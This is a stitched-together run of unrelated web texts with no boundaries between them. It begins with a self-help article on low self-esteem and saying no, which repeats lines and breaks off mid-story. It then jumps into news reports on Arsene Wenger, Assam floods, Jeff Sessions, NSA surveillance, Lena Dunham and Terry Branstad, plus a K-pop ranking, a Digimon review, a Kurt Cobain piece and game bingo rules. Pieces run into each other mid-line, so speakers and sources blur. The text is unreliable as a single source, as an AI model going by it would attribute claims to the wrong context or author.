The skill of influencing people is just one example of things that you can learn. However, before you do, it is possible to mistake not knowing how to do something with being incapable of doing it. And this mistake is a contributor factor to low self-esteem and low self-confidence.
Now, let’s, get back to getting what you want instead of settling with what people might give you.
You will rarely get amazing things without asking for them. Therefore, make yourself the courage and ask.
Asking for what you want increases your chances to get what you want from 0% to maybe 50%, right?
Sometimes when you ask, you might not get what you want. But this is life, sometimes we win, sometimes we don’t. However, if you don’t ask, it is sure from the start that you will not get it.
If you have low self-esteem, you might think that you shouldn’t even ask because you don’t deserve, or you are not worthy or another reason that you could come up with.
I will tell you this: regardless if you deserve something, or you are worthy to get it, you have the right to ask because the other party has, in return, the right to say no.
Don’t settle! Don’t settle, especially if you have low self-esteem because, for certain, you deserve, you are entitled, and your are worthy at tens of times more than what you believe today that you do.
15. Are you afraid to say a decisive No or yes?
There are many people to whom to say No is a difficult thing to do.
The inability to say No can come from:
Perceiving saying No as a risk.
A risk of losing the love, the attention, the appreciation and the interest of other people.
Plus, the risk of making people angry or aggressive towards you.
The risk of stirring up a conflict.
A risk of losing the love, the attention, the appreciation and the interest of other people. Plus, the risk of making people angry or aggressive towards you. The risk of stirring up a conflict. Being emotionally blackmailed.
Not knowing how and where to set your boundaries.
Finding hard to differentiate between the assertive No and the aggressive No.
Being afraid that you could be seen as a bad or rude person.
Allowing the other party to ask again and again in many different ways.
Feeling guilty.
I guess you strive to be a good person, to be nice, to be kind. Many of your values are based on these things and saying NO can make you feel guilty. It feels like you are not true to your values.
I guess you strive to be a good person, to be nice, to be kind. Many of your values are based on these things and saying NO can make you feel guilty. It feels like you are not true to your values. Fearing that you might be perceived as being lazy. Lazy people don’t have this fear! They don’t care how they are perceived in this regard. So, no, you are not lazy if you have this fear.
Seeking for attention and praise in the wrong places.
Fearing that you might hurt people’s feelings.
How to say a decisive No the right way:
Let the other person finish speaking, take a few seconds and then reply.
Leave no room for interpretations.
“I won’t” vs. I can’t.”
“I won’t” gives people a clear message that you don’t want to do what they are asking.
“I can’t” gives people power over you to ask again or to “explain” to you how you actually can do it.
Don’t apologize for saying NO. You’re allowing the other party to ask again or to tap into your sense of guilt.
Pay attention to your voice and the tone you’re using. The same words using different voice tonalities can mean entirely different things.
Don’t explain your motivation to say no. If you start justifying yourself, people will start finding weapons to counteract your justifications. In the end, no matter how you justify saying no, you will end up saying Yes.
There are a few situations and some people that you might feel obligated to justify your refusal.
Don’t give them more than one reason for saying no and reply with the same answer over and over and over again until the other party stops asking.
“Listen, no matter how many times you will ask, my answer will be the same, so let’s move on because we are wasting precious time and energy with this.”
Be consistent.
Offer different options to solve the other’s party situation.
Why should you learn to say a decisive No and yes?
It is your right!
Not saying No when you want/need to say it, can make you feel like a prisoner and you end up in situations where you have no choice but to do what you agreed upon.
Saying No is offering you self-respect and in return, people around you will start respecting you too.
People have no respect for people that they can manipulate or take advantage of.
Don’t waste your time and energy trying to satisfy everybody at any time.
In the end, if nothing else works and people are still insisting, be brutally honest about it with questions:
“Do you realize that you are making me feel uncomfortable by keep on asking?”
“Are you trying to take advantage of my good nature?”
“You do realize that you are trying to manipulate me, right?”
“What is your purpose on keep on asking when you can clearly see that I won’t do what you want?”
“Do you take pleasure in making me feel guilty?”
“Can you accept the fact that I have the right to say no to you?”
“Can you respect me enough to stop asking?”
Now, what about saying yes?
For people with low self-esteem saying yes can be at times as hard as saying no.
If you don’t see your real value and worth, you might say No instead of yes because:
You feel you’re taking advantage of people,
You feel you’re receiving something that is not rightfully yours,
You believe that people don’t really expect you to say yes, and they are offering you something only out of courtesy,
You don’t know how to receive a gift. You don’t know what to say or how to behave. The simplest solution: “Thank you! I appreciate you thought of me!” and take the gift.
You are afraid that people could interpret your “yes” differently than how you meant it.
You are afraid that If saying yes today, takes your right to say no tomorrow.
At the end of the day, saying a decisive No or Yes is something you can learn if you are not born with it.
Learning the skill of assertiveness empowers and gives you the right tools to say No.
Building up your strong positive ego empowers and gives you the right tools to say Yes and keep yourself safe.
16. Do you tend to withdraw socially?
If you have low self-esteem, you might tend to withdraw socially because you hold one or more of the following beliefs.
The belief that:
you don’t deserve to be happy.
whatever problems you might have are caused by the fact that you are not working hard enough.
other people are more important than you.
you can handle your problems better alone.
you have no power over your problems or situation.
people around you might think that you are a weak person, and they will take advantage of it.
you will not be able to behave as people are expecting you to behave.
people can’t possible enjoy your company.
you are safer being alone.
I’ve said it before, and I will say it again: the human is a social animal.
We need to interact with other people, we need the company of other people, we need to feel connected to other people, and we need to feel that we belong.
When you don’t satisfy these needs, for whatever reasons, the level of your happiness and general well-being are suffering greatly.
Isolating yourself, withdrawing socially is not all about what you might think about yourself, but can be as well about:
What you believe about your environment.
How do you feel in your present environment?
If you believe, for example, that your environment is not safe of course you will avoid putting yourself in dangerous situations.
If you feel judged or mistreated, another example, of course, you will avoid being around those people and, if most people around you are judgemental and mean to you, you will avoid socializing all together.
Social withdrawal has a simple solution: get connected.
Get connected with people that:
Love you.
Appreciate you.
Are willing to make compromises for you.
Are tolerant of your mistakes.
Accept you as you are.
Are making you feel good about yourself and your accomplishments.
Have common interests, passions or hobbies.
Challenge you to do better in a positive way.
Make you feel safe and protected.
17. Do you allow other people to define for you your personal image, who you are?
I will say the big “E” word: EGO
To have a strong positive ego is an important aspect of a healthy mental state and an important part of building your self-esteem.
When I say a strong, positive ego, I mean to know who you are and to know who you’re not.
A strong positive ego does not mean to be stubborn or to go above and beyond to prove you’re right even when you are. A strong positive ego is not the same with vanity.
After reading this article, I will encourage you to take the time to define who you are and who you want to be.
Make a list of who you think/ want to be and who you don’t think/ want to be.
Create the image of the ideal you. Not the perfect you, but the happy you.
Know who you are, know who you want to be. So that no matter what happens, people can’t influence you in a negative way or use your ego(vanity) to blindside you to their intentions or to be the ones that define for you, your personal image.
Create your self-image in such a manner that even if an authority figure tells you something negative about yourself, you stay your ground knowing that you are different than that opinion.
When I’m saying to stay your ground, I don’t mean that you should start arguing with that person, I mean that you, in your mind, perceive yourself the way you established you are. There is no need to say it out loud, and it’s enough that you know it.
When you are able to allow the other person to say nasty things to you, and you are not affected emotionally by this, you know you have a strong positive ego.
When you know who you are people can’t touch you too easily in a negative way.
You can’t be offended until you put a meaning to words and until you attach that meaning to your self-image, to your ego.
Think about it!
If I’m saying to somebody: “you are stupid,” my statement has no value if the other person doesn’t apply this statement to self.
If someone says something nasty to you in Japanese (or any other language you don’t know), you take no offense, maybe you even smile and go on with your life. But when this person says the same thing in the language you understand, you apply this nasty thing to your ego/ self-image, and you get offended, upset and hurt.
That person said the same thing. In one case you felt nothing, in the other case you felt hurt.
The only difference it’s your perception, is it not?
A strong positive ego analyzes the other’s person statement and decides if it’s indeed a valid point to be taken into consideration or not.
Once you know who you are, you will no longer allow people to cover your ego, your self-image with their opinion. If you know who you are, and you define for yourself who you are, it doesn’t matter what anybody else is thinking about it. You have your reasons to define yourself as you do and these reasons are going way beyond what people see on the surface.
“Case study.” Adrian – the oak tree
At the edge of a forest a young tree, named Adrian, just turn out his head from the ground. He looked around and next to him was an older tree, named Billy. Billy was looking rather odd compared to the other trees. His branches were pointing in all directions, and Adrian started talking to him. After talking for some time, Adrian and Billy, become friends. Few days later, Adrian looks at another much older tree, Chris. Chris was looking tall, straight and proud.
Adrian: “Chris, you are looking good. You have grown up so straight and powerful! I’m looking at Billy, and I see he’s looking so different. Why is that?”
Chris: “you see Adrian, here in the forest you need to make up your mind to whom are you loyal to, right |
feels Arsene Wenger is close to the end…
“I get the impression that that’s it”@IanWright0 has been chatting to Wenger about his future at #Arsenal https://t.co/NI1sjtpg98 pic.twitter.com/QchWKlwLaz — BBC 5 live Sport (@5liveSport) February 10, 2017
Arsenal legend Ian Wright has revealed that he recently had a private chat with Arsene Wenger in which he hinted that this may be his last season as Gunners boss.
Wenger has once again come under fierce criticism from fans following back-to-back league defeats against Watford and Chelsea which has left us practically out of the title race.
Protests have been staged and banners have been unfurled as fans call on Wenger to fall on his sword.
Wright revealed that he met Wenger at a recent function at the Emirates Stadium, and he gave a strong impression that he’s had enough.
Many close to the boss certainly hope that when he does leave, it will be on his own terms.
“He didn’t say to me: ‘I’m leaving at the end of the season’ but … I just get the impression in him and looking at him that’s it,” Wrighty said on BBC Radio 5 live.
“He actually mentioned when we were talking that he’s coming to the end. I’ve never heard him say that.
“He looked winded like someone has whopped him in the stomach. Do I feel he will go at the end of the season? I think he will.”
In Arsene Wenger’s 21-year reign, this is the first time there have been genuine noises about him walking out on the club he’s known for most of his managerial career.
While it’s rather sad to contemplate such a scenario, but one thing the club is dying for is change.Image copyright Science Photo Library Image caption A schoolboy rows his boat past submerged huts. Authorities say 553 villages have been affected in the floods
Authorities in the north-eastern Indian state of Assam say two people have died and more than 200,000 have been affected by flooding.
The state government said that over 500 villages in 13 districts of the state had been affected after early monsoon rains swelled the Brahmaputra river.
Floods are an annual occurrence in the region during the summer monsoon.
Assam has sufficient food stocks and medicines to cope, its revenue and disaster management minister said.
Image copyright AFP/Getty Image caption Authorities say more than 200,000 people have been hit in the first wave of floods
Image copyright EPA/STR Image caption Floods are an annual occurrence in Assam during the monsoon seasonAfter Alabama Senator Jeff Sessions was spotted with his Asian-American granddaughter while waiting to testify at his Tuesday confirmation hearing, MTV culture writer Ira Madison III joked that Sessions had stolen her from a Toys ‘R Us.
UPDATE (11:30 AM ET): The tweet has since been deleted.
Madison received blowback from the left and right alike, but stuck to his guns, arguing that Sessions’ granddaughter was being used as a prop, and tying Sessions’ stance on immigration to the exclusionary snti-Asian immigration policies of the 1880’s.
Why is she a prop? Sessions argued for policy that in the 1880s was used to discriminate against Asian Americans https://t.co/sZitqzLBS4 — Ira Madison III (@ira) January 10, 2017
There is no reason for that child to be in his lap in a hearing other than to send an “I’m not racist message” — Ira Madison III (@ira) January 10, 2017
In fact, Americans have long used Asian-Americans as “model minorities” since the rise of the civil rights act https://t.co/IwFwt4vXpX — Ira Madison III (@ira) January 10, 2017
Sessions has shown horrendous anti-black behavior. His love for an Asian family member does not dissuade that. — Ira Madison III (@ira) January 10, 2017
Still, the pushback continued.
Confirmation hearings twitter off to a less-than-promising start. pic.twitter.com/zOSTiZxgPT — McKay Coppins (@mckaycoppins) January 10, 2017
JFC that’s his OWN GRANDDAUGHTER you’re referring to, you useless smug social media controversialist. https://t.co/PpCyDtRV2D — Jeff B/DDHQ (@EsotericCD) January 10, 2017
This is why you leave kids/grandkids out of political fights. No matter what side you’re on it makes you look like an asshole. https://t.co/8N54I1hpDM — Rick Wilson (@TheRickWilson) January 10, 2017
[Image via screengrab]
UPDATE: 11:55 pm EST: A spokesperson for MTV has put out response to Madison’s tweet, saying “the opinions Ira expresses on Twitter are his own and do not reflect the views of MTV News.”
—
>>Follow Alex Griswold (@HashtagGriswold) on Twitter
Have a tip we should know? tips@mediaite.comThe “Moscow Project” represents a significant outside effort to move forward on the investigations of President Donald Trump, which Democrats have been eager to pursue. | Getty Liberal group launches 'Moscow Project' to pressure Trump
Seeking to apply new pressure on President Donald Trump over his ties to Russia, the liberal Center for American Progress Action Fund is bringing on a former State Department official to run its new “Moscow Project,” while advocating the creation of an independent investigation even while the Senate Intelligence Committee’s probes proceed.
Max Bergmann — a former member of the State Department’s policy planning staff who was previously a speechwriter for Secretary John Kerry and a special assistant to the under secretary for arms control and international security — will lead the group’s efforts on Russia as political scrutiny mounts over alleged ties between Trump’s campaign and Russian intelligence. The organization is in the process of hiring more researchers and communications staff in its war room, which is run by former Harry Reid aide Adam Jentleson.
Story Continued Below
In addition to issuing a six-page memo to Capitol Hill offices on February 15 — the document called for an investigation just hours after the New York Times reported contacts between Trump campaign officials and Russian intelligence officers — the group is also launching digital ads targeted at House Speaker Paul Ryan in his home state of Wisconsin.
Aimed at Trump voters, Ryan voters, and veterans, the spots call on the speaker to support an independent investigation, which has been a rallying cry for some Democrats but few Republicans.
The “Moscow Project” represents a significant outside effort to move forward on the investigations of Trump, which Democrats have been eager to pursue, especially since the resignation of National Security Adviser Michael Flynn over his communications with the Russian ambassador to the United States. But party leaders have been concerned about appearing overly partisan, and the memo — which includes a long list of “questions that must be answered publicly” — advocates the kind of commission outside of Capitol Hill that has so far been proposed by Democratic senators including Ben Cardin, Patrick Leahy, Dianne Feinstein, Tom Carper, and Amy Klobuchar.
Such a probe would have bipartisan membership, subpoena power, and a full-time staff.
The circulated missive, titled, “RE: Investigations into Russian Interference,” insists that Attorney General Jeff Sessions recuse himself from oversight of prosecutors investigating the president, and it suggests that elected officials be willing and prepared to walk away from the GOP-led committee investigations if they’re not both thorough and transparent. It also called the need for a 9/11 Commission-style investigation “more critical than ever,” while acknowledging the ongoing formal efforts by both the Senate and House Intelligence committees.
“While these committee investigations are important, questions remain whether they will have the freedom to fully investigate all the serious allegations in the public domain, including subpoena power for the chairman and ranking member. In past moments of crisis from Watergate to 9/11, Americans have ultimately benefited from having both congressional inquiries and independent commissions,” read the note. “Indeed, an independent commission would ensure that both parties have full authority to investigate. Perhaps most importantly, it is essential that the process be non-partisan in order to fully explore the Trump team’s involvement."
Attempting to guide along the efforts, it also insisted that any investigation must include: “A full list of all contacts between the Trump campaign, its staff, and informal advisers with Russian officials, including any Russian intelligence officials, and/or WikiLeaks; Access to transcripts or recordings of those communications, including between General Flynn and Russian Ambassador Kislyak, as well as Donald Trump and President Putin prior to the inauguration; An accounting and summary of briefings given to Members of Congress prior to and after the election on this topic."Wanna One is proving to be an insanely sensational group once more!
On August 22, Good Data Corporation revealed a list of the most buzzworthy non-drama TV appearances for the third week of August. Wanna One and its members took over the Top 4 for the second time, following a similar achievement during the first week of August.
The list was created through the analysis of news articles, blog posts, communities, social media, and video clip view counts about 2,649 TV personalities or topics from 190 non-drama TV shows.
Park Ji Hoon and Kang Daniel took No. 1 and No. 2 respectively for their appearance on JTBC’s “Let’s Eat Dinner Together.” Third and fourth places went to Wanna One’s appearances on KBS2’s “Happy Together 3” and MBC every1’s “Weekly Idol,” respectively.
Other popular TV personalities were Nucksal and Yang Hong Won from Mnet’s “Show Me the Money 6” who took fifth and seventh places, respectively. IU and Lee Hyori from JTBC’s “Hyori’s Homestay” were No. 6 and No. 9, respectively, while BIGBANG’s Taeyang came in as No. 8 through his appearance on MBC’s “I Live Alone.”
Source (1)Digimon Adventure Tri.: Reunion is a fun return to the world of Digimon’s Digital Monsters with epic battles and powerful Digimon that should definitely appeal to fans of the original series. Many years have passed since the original show and the characters are now in high school. Tai encounters a strange Digimon that jeopardizes the reputation of the rest of the magical creatures. Tai is reunited with the rest of the Digidestined and they come together with their Digimon to fight against the destructive monsters that Tai encounters. As this threat becomes more hostile, the Digidestined must work together to fight against it. My favorite part of this film is the climactic final battle. Seeing the Digidestined fight against one common evil is very epic. This scene feels like it has real stakes to it. I honestly was unsure of what would happen next. It is a nice pay-off for what the film has been building up to the whole time. The Digimon really let loose and you finally really get to see the grand scale of their powers onscreen in a rewarding way. I do not like the ending to this film. It might catch you off guard with an ending that feels abrupt. You could argue that they chose to end it this way because this film has two other sequels, but I think they could have at least added one more scene. This film is a little confusing. I know little of the Digimon mythos and there is some exposition that I don’t understand. However, this series’ welcoming nature though makes up for that. Even though I do not know the characters, they interact in a way that made me feel as if I knew them already. I mostly credit the voice cast for this. They have never played these characters before or worked together, but it feels as if they’ve known each other for a long time and their chemistry feels very much believable. I give this DVD an age rating of 5 to 14. It’s pretty much for all ages and, if you’re a fan of Digimon, I highly recommend it. I give it 3.5 out of 5 stars. Fans of Digimon will really enjoy it. Reviewed by Benjamin P., KIDS FIRST! Film Critic. For more reviews by youth, visit kidsfirst dot org.
Read moreKurt Cobain blew $400 daily on heroin Trends Feb 23, 2017
April 8, 1994, was a sad day for alternative rock fans, for this was the day 27-year-old Nirvana singer and songwriter Kurt Cobain’s body, along with a 20-gauge shotgun with which he ended his life, was found in the greenhouse of his Seattle home. Kurt had been missing for six days. Medical examination found a high concentration of heroin and traces of Valium in his bloodstream and Cobain was said to be identifiable only by his fingerprints.
Nearly 23 years after Cobain’s death, forensic pathologist Michael Hunter appeared last week on the Reelz series “Autopsy: The Last Hours of Kurt Cobain,” to discuss the medical evidence around Cobain’s suicide. Hunter revealed that Cobain was using about $400 (about $700 in today’s prices) worth of heroin daily, which is an enormous amount of the drug to be consumed on a day-to-day basis. “Those that were close to him realized that if they didn’t do something, Kurt was going to die,” Hunter said. The Reelz series also featured a graphic representation of Cobain’s suicide.
In a 1992 letter penned by Cobain to his fans about his heroin addiction after a stint in a rehab, the music icon had mentioned about the uncomfortable stomach condition that plagued him for years and which the doctors had no answers for. According to the letter, Cobain finally decided to relieve his pain with small doses of heroin for about three weeks. While it did provide him temporary relief, the pain would eventually find its way back. And that is when Kurt decided to stop using drugs to seek the temporary relief, but unfortunately the habit stuck and he could never permanently wean himself off the drug.
Heroin is addictive
Heroin, a highly addictive substance, is an opioid drug that is synthesized from morphine, a naturally occurring substance extracted from opium plant. Heroin abuse is widespread in the United States. According to the Centers for Disease Control and Prevention (CDC), heroin overdose death rates increased by 20.6 percent from 2014 to 2015 and nearly 13,000 people lost their lives in 2015 alone. The data also reveals that the number of heroin-related overdose deaths has jumped four times since 2010.
Addiction to any drug tends to start slow and almost always springs from a desire to escape from stress, trauma or pain. Slowly the use progresses to abuse and then to dependency. The drug highs and lows keep intensifying until the addict loses all sense of self and control over the addiction. However, drug addiction can be cured with right treatment that includes a combination of behavioral therapy and medications.
Hooked Sober is a source for information about drugs, alcohol, eating disorders and mental disorders. Please send all your questions, concerns or comments to editor@hookedsober.com.This is a bingo card for The Binding of Isaac. When you get the 5 squares in any row, column, or diagonal, you win.
Unless otherwise specified, you can reset as much as you want and you can switch characters. (alternative rules include "everyone must play a single character" and "try to make a bingo on a single life")
In order to check off a square you have to finish that goal during a single run. For example, "3 devil deals" can't be completed with two deals in your first run and another deal in your second run.
When a square is the name of an item, it means you have to get that item, not just see it.
To "satisfy" means to use something until it gives you a reward and can never give rewards again. (usually when it explodes or disappears)
Hyphenated made this bingo generator. (it's partially based on one Cosmo made) Contributors include Altidorian, Richard_Hammer, JimmyNintendo, Kavukamari, Gyoo, Duneaught, theevilisback
Send questions and ideas for new goals to Hyphenated on twitch!Seven months after a bitterly divisive showdown resulted in important limits on the National Security Agency’s powers, Congress is taking its first tentative step towards reopening the surveillance debate.
While the fight last year focused on the NSA’s mass collection of phone records, the spotlight this time will be on the agency’s Internet-surveillance programs.
The House Judiciary Committee will hold a classified hearing Tuesday to examine Section 702 of the Foreign Intelligence Surveillance Act, which allows the NSA to spy on emails, Facebook messages, Web-browsing histories, and other electronic data. The hearing is the beginning of the committee’s debate over reauthorizing the section, which is set to expire at the end of next year.
Civil-liberties groups are already gearing up to lobby for new restrictions on any reauthorization bill. But they’re likely to face fierce resistance from national security hawks, who argue that Section 702 is especially critical for combatting terrorism.
Unlike the NSA’s bulk-phone-data program, which only collected so-called “metadata” such as phone numbers and call times, Section 702 allows the NSA to access the actual contents of communications. The section is intended to apply only to non-Americans located overseas, but, following the leaks by Edward Snowden, the NSA has acknowledged that it sometimes “incidentally” collects Americans’ information as it scoops up vast amounts of data on foreigners. The agency has admitted it even searches through that database specifically looking for Americans’ communications.
Rep. Ted Poe, a Texas Republican, said in an interview that he will try to attach language to a FISA reauthorization bill to require the NSA to obtain a warrant for such “backdoor” surveillance of Americans. “I’m a big fan of the Fourth Amendment,” Poe said. “I know it’s important to get the bad guys, but I don’t believe—as the axiom goes—that we should give up our freedom in the so-called name of national security.”
Poe, along with Rep. Zoe Lofgren, a California Democrat, and Rep. Thomas Massie, a Kentucky Republican, introduced the End Warrantless Surveillance of Americans Act last year to curb the NSA’s powers under Section 702. There’s broad support, especially in the House, for the idea. The House voted 255-174 last year to attach the legislation to a Defense appropriations bill, but it was left off of the final omnibus spending package that became law.
The lawmakers had also pushed to include their bill in the USA Freedom Act, which ended the NSA’s indiscriminate collection of U.S. phone records. House Judiciary Committee Chairman Bob Goodlatte and others blocked the move—not because they necessarily opposed the proposal, but because they warned it could disrupt the carefully negotiated compromise with the Senate on the overall NSA-reform bill. “He thought the timing was bad,” Poe explained. “Well, it’s the right time now.”
Poe said he’s disappointed that Tuesday’s hearing, which will feature testimony from four top intelligence officials, will be behind closed doors. A coalition of 25 civil-liberties groups sent a letter last week urging Goodlatte to conduct a public hearing rather than continue “the excessive secrecy that has contributed to the surveillance abuses” uncovered by Snowden.
“The House Judiciary Committee is conducting a classified hearing so that members can do their job to conduct meaningful oversight over the FISA Amendments Act so that they can make educated decisions based on all the facts about how to proceed,” a Judiciary Committee aide said in an emailed response to the letter.
Neema Singh Guliani, a legislative counsel for the American Civil Liberties Union, said privacy groups will also lobby for restrictions on the NSA’s ability to tap into the backbone of the Internet and scan through massive amounts of data flowing into and out of the United States. The NSA has acknowledged that it not only spies on communications to and from particular targets, but also looks for data about those targets. Another goal for the ACLU and other privacy groups will be to limit the government’s ability to use evidence collected from Section 702 surveillance in ordinary criminal proceedings that have nothing to do with national security.
“Without major and significant reforms, we don’t think 702 should be reauthorized,” Guliani said.
But the privacy advocates may find there is stronger support for Section 702 surveillance than there was for the bulk-phone-data-collection program. The Privacy and Civil Liberties Oversight Board, an independent watchdog agency, had concluded there was little evidence that the bulk-phone collection was effective in thwarting terrorist plots. But the same board wrote that the Internet surveillance programs under Section 702 were “clearly authorized by Congress, reasonable under the Fourth Amendment, and an extremely valuable and effective intelligence tool.”Actresses Lena Dunham and America Ferrera teamed up for a joint speech in support of presidential nominee Hillary Clinton at the Democratic National Convention on Tuesday, during which Dunham said that Clinton has stood up for her “fellow sexual assault survivors” in her home state of New York.
“I am a pro-choice, feminist sexual assault survivor with a chronic reproductive illness, the 30-year-old Girls star and creator said. “Donald Trump and his party think I should be punished for exercising my Constitutional rights. His rhetoric about women takes us back to a time when we were meant to be beautiful and silent.”
“Meanwhile, 22 years ago, Hillary Clinton declared that women’s rights are human rights. And she made it possible for my fellow sexual assault survivors in my home state of New York to have access to safe, immediate care in any emergency room,” Dunham went on as Ferrera looked on in approval.
“Hillary knows that access and opportunity are the American promise, not transphobia, Islamophobia, xenophobia and systemic racism,” Dunham added. “She knows we have to fight hatred of all kinds, and not ignite it for the craven purpose of seeking power.”
In her 2014 book of memoirs, Not That Kind of Girl, Dunham wrote that she was sexually assaulted on the campus of Oberlin University by a conservative she identified simply as “Barry.” A subsequent exhaustive investigation by Bretibart News later cleared Dunham’s innocent suspect of any wrongdoing.
Both Dunham and Ferrera began their speech Tuesday with jokes, with the Girls star quipping that Republican presidential nominee Donald Trump probably thinks her body “is a two.”
“And I’m America Ferrera, and according to Donald Trump, I’m probably a rapist,” the 32-year-old former Ugly Betty star said.
“We know what you’re all thinking,” Dunham continued. “Why should you care what some television celebrities have to say about politics?”
“We feel the same way,” Ferrera added. “But he is the Republican nominee, so we need to talk about him.”
Quick refueling break after meeting some amazing delegates #DemsInPhilly pic.twitter.com/DPJiD1yDhH — Lena Dunham (@lenadunham) July 26, 2016
Dunham closed out the speech by asking her progressive audience a series of questions.
“Do you want equal pay for equal work? The right to make decisions about your own body? Paid family leave?” the actress pressed, getting a resounding “Yes!” from the audience each time. “As Hillary Clinton says, ‘Deal us in!'”
Watch Dunham and Ferrera’s full speech above.
Follow Daniel Nussbaum on Twitter: @dznussbaumA report commissioned by the previous Progressive Conservative government shows it was aware that Alberta farm workers needed workplace insurance protection.
The Sigma Risk Management report, obtained by the Alberta Federation of Labour (AFL), was presented to the Tories in February 2015, three months before they were swept from power by the NDP.
The report says about 2,000 farm workers in Alberta suffer a lost-time accident each year and about 20 will die in workplace accidents.
It also notes that Workers Compensation Board coverage would be the cheapest insurance option for small and medium-size farms.
The AFL says its findings repudiate arguments against the farm safety changes that have been brought in by the NDP.
Opposition Wildrose Leader Brian Jean and PC leadership candidate Jason Kenney have both pledged to scrap the NDP legislation known as Bill 6 if they win the next provincial election.
"This utterly repudiates the arguments against basic workplace protections for agricultural employees," federation president Gil McGowan said Tuesday in a release.
"Anyone who reads this report and still says that Alberta doesn't need common-sense agricultural workplace laws has no heart."
Mandatory rules that require WCB coverage for paid farm workers in Alberta have been in effect since January 2016.
The rules don't apply to farm owners or their family members.
Regulations to cover workplace issues such as overtime, hours of work, collective bargaining, safety education and health rules are being studied by farm, labour and other groups.
The government has said once these groups make their recommendations, the government will give Albertans a chance to respond to draft regulations.CLOSE President-elect Donald Trump has said the Iowa governor has expertise with trade and a strong relationship with the Chinese president. Aaron Young/The Register
Buy Photo Iowa Gov. Terry Branstad photographed Wednesday Jan. 7, 2014, at his ceremonial formal office in the Iowa Statehouse in Des Moines. Branstad was appointed ambassador to China by President-elect Donald Trump. (Photo: Rodney White/The Register)Buy Photo
Iowa Gov. Terry Branstad will serve as ambassador to China in the administration of President-elect Donald Trump.
The appointment, announced by Trump during a fundraiser on Wednesday and later confirmed by Branstad, represents a watershed moment in Iowa politics, signaling the close of the longest gubernatorial tenure in American history and setting the stage for the state’s first female governor.
In a statement, Trump praised Branstad’s long experience and close relationship with Chinese President Xi Jinping.
“He successfully developed close trade ties with China while serving as chief executive of the Hawkeye State,” Trump said. “That experience will serve him well as he represents America’s interests and further develops a mutually beneficial relationship with Chinese leadership.”
Branstad, in turn, said he accepted the nomination after consultation with family, and added that he and his wife, Chris, will “always keep Iowa close to our hearts.”
“I have known President Xi Jinping for many years and consider him an old friend,” Branstad said. “I look forward to building on our long friendship to cultivate and strengthen the relationship between our two countries and to benefit our economy.”
Picking Branstad as the nation’s top diplomat to the world’s largest country was rumored for weeks after Trump was elected on Nov. 8, and the governor repeatedly said he was open to the possibility if the offer was made.
Branstad, accompanied by his wife, met with Trump on Tuesday afternoon at Trump Tower in New York. The official announcement came less than 24 hours later.
The appointment highlights Branstad’s nexus between two of the world’s most powerful men. With Xi, he enjoys a relationship dating back decades, to Branstad’s first term as governor when Xi visited the state as a provincial Communist Party official. More recently, the governor was a steadfast and enthusiastic supporter of Trump’s surprising presidential nomination. Branstad’s son, Eric, ran Trump’s Iowa campaign, and with unified support from top Iowa Republicans, Trump won the state by 9 percentage points.
In addition to his close ties to Xi, Branstad has been a dogged advocate for trade and economic cooperation with China, conducting numerous trade missions to promote Iowa agriculture products.
Trump spokesman Jason Miller noted that experience in a conference call with reporters on Wednesday.
“Gov. Branstad obviously as Iowa’s long-serving governor is someone who has considerable public-policy experience but also someone who has a lot of experience and great grasp of trade issues, agriculture issues, has a tremendous understanding of China and Chinese people," Miller said. “It’s very clear that Gov. Branstad is someone who will represent our country well on the world stage.”
The statement announcing his appointment described Branstad’s role as two-fold: to negotiate “fair trade deals that create American jobs, increase American wages, and reduce America's trade deficit” and to implement “an America-First foreign policy that will advance America’s core national interests and promote regional stability.”
Branstad must be confirmed for the post by the U.S. Senate sometime after Trump is inaugurated on Jan. 20. In a statement Wednesday, U.S. Sen. Chuck Grassley, R-Iowa, lauded Branstad as a “straight-shooter” with a “successful track record as the chief executive.”
“Those attributes would serve the United States very well if he’s confirmed for this position,” Grassley said. “He ought to be confirmed very easily.”
Beyond its effect on the nascent Trump administration and its implications for the president-elect’s foreign policy, Branstad’s appointment represents a momentous change in the Iowa political landscape.
Branstad, 70, is the longest-serving governor in American history, having served four terms in the office from 1983 to 1999 and another term and a half since 2011. He is the unquestioned leader of the Republican Party in Iowa, and widely credited with driving its electoral successes since 2010.
When he resigns to take the ambassadorship, Branstad will be succeeded by Lt. Gov. Kim Reynolds.
Reynolds, 57, has served alongside Branstad since he returned to office in 2011, playing a conspicuous public role in the administration and, according to the governor and his staff, working closely on policymaking, appointments and other key gubernatorial responsibilities.
She is a former state senator and county treasurer from Osceola, in southern Iowa.
Reynolds is on a family vacation in Cabo San Lucas, Mexico, this week, but issued a statement shortly after news of Branstad’s appointment was officially announced. The message went long on praise for Branstad, but also referenced her upcoming role as Iowa’s chief executive. Reynolds will cut her vacation short and return to Iowa for Trump's planned rally in Des Moines Thursday, said Ben Hammes, spokesman for Branstad.
“I have been honored to be a full partner with Gov. Branstad in this administration and know that the experience I’ve gained over the last six years has prepared me well for this next chapter of service to all Iowans,” she said.
CLOSE Gov. Terry Branstad, the longest-serving governor in the U.S., talks about how long political service isn't unusual in Iowa during an interview with Iowa columnist Kyle Munson. Michael Zamora and Rodney White/The Register
It’s unclear for now when the transition would take place.
The timing of the ambassadorial appointment and confirmation process could keep Branstad in office for at least the beginning of the upcoming legislative session, which begins Jan. 9. That could allow him to deliver the budget proposal and Condition of the State Address in early January that outline the administration’s priorities for the coming year.
Reynolds, then, would likely take office once the 2017 legislative session is underway.
After huge GOP victories last month, that session is expected to be among the busiest and most consequential in years. Republicans won a majority in the state Senate in November, giving them control over both legislative chambers and the governor’s office for the first time in two decades.
With that lock on the lawmaking machinery of Iowa government, the party expects to pursue several major initiatives, including tax reform, water quality improvements and, potentially, changes to the state’s collective bargaining laws.
In a statement released Wednesday, Iowa House Speaker Linda Upmeyer wished Branstad luck in his new role and praised Reynolds as an “energetic leader with years of experience working with the Legislature.”
“I look forward to continue working closely with her to make Iowa the premier place to raise a family or grow a business,” Upmeyer said.
Upmeyer’s statement also noted the historical nature of Reynolds’ elevation. With her ascendance to the governor’s office, Iowa’s first female governor, U.S. senator and speaker of the state House are all Republicans.
CLOSE Gov. Terry Branstad, the longest-serving governor in the U.S., tells Iowa columnist Kyle Munson why he had no political ambitions beyond Iowa. Michael Zamora and Rodney White/The Register
“Iowa Republicans continue to lead the way elevating women to public office,” Upmeyer said.
Congratulations also came from U.S. Sen. Joni Ernst, a close friend of Reynolds' who got her start in state politics when she succeeded Reynolds in the Iowa Senate.
"The lieutenant governor is a tireless advocate for Iowa and travels around our great state to ensure she is hearing directly from those who know best: Iowans," Ernst said in a statement. "Iowa has been, and will continue to be, in good hands under her leadership.”
